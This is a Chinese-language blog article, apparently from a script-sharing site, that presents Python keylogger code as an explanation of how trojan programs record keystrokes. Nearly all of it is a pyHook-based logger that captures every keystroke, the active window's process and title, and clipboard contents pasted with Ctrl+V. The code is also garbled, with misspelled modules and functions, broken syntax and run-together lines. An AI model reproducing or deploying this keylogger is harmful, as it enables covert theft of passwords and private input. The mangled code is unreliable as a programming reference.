Python告訴你木馬程序的鍵盤記錄原理
更新時間:2019年02月02日 11:18:17 作者:python爬蟲學習
今天小編就為大家分享一篇關于Python告訴你木馬程序的鍵盤記錄原理,小編覺得內容挺不錯的,現在分享給大家,具有很好的參考價值,需要的朋友一起跟隨小編來看看吧
前言
Python keylogger鍵盤記錄的功能的實現主要利用了pythoncom及pythonhook,然后就是對windows API的各種調用。Python之所以用起來方便快捷,主要歸功于這些龐大的支持庫,正所謂"人生苦短,快用Python"。
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #獲取最上層的窗句柄 hwnd = user32.GetForegroundWindow() #獲取進程ID pid = c_ulong(0) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #將進程ID存入變量中 process_ = "%d" % pid.value #申請內存 executable = create_string_buffer("\x00"*522) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #讀取窗口標題 windows_title = create_string_buffer("\x00",512) length = user32.GetWindowTextA(hwnd,byref(windows.title),512) #打印 print print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value) print #關閉handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #關閉鍵盤監(jiān)聽事件函數 def KeyStroke(event): global current_window #檢測目標窗口是否轉移(換了其他窗口就監(jiān)聽新窗口) if event,WindowName !=current_window: current_window = event.WindowName #函數調用 get_current_process() #檢測擊鍵是否常規(guī)按鍵(非組合鍵等) if event.Ascii>32 and enent .Ascii <127 : print chr(event.Ascii), else: #如果發(fā)現ctrl + V事件,就粘貼板內容記錄下來 if event.Key == "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" %(pasted_value), else: print "[%s]" %event.Key, 循環(huán)監(jiān)聽下一個事件 return True #創(chuàng)建并注冊hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注冊hook并興趣 kl.hookKeyboard() pythoncom.PumpMessages()
總結
以上就是這篇文章的全部內容了,希望本文的內容對大家的學習或者工作具有一定的參考學習價值,謝謝大家對腳本之家的支持。如果你想了解更多相關內容請查看下面相關鏈接
相關文章
Python 調用 ES、Solr、Phoenix的示例代碼
這篇文章主要介紹了Python 調用 ES、Solr、Phoenix的示例代碼,幫助大家更好的理解和學習python,感興趣的朋友可以了解下2020-11-11python使用xlsxwriter實現有向無環(huán)圖到Excel的轉換
這篇文章主要為大家詳細介紹了python使用xlsxwriter實現有向無環(huán)圖到Excel的轉換,具有一定的參考價值,感興趣的小伙伴們可以參考一下2018-12-12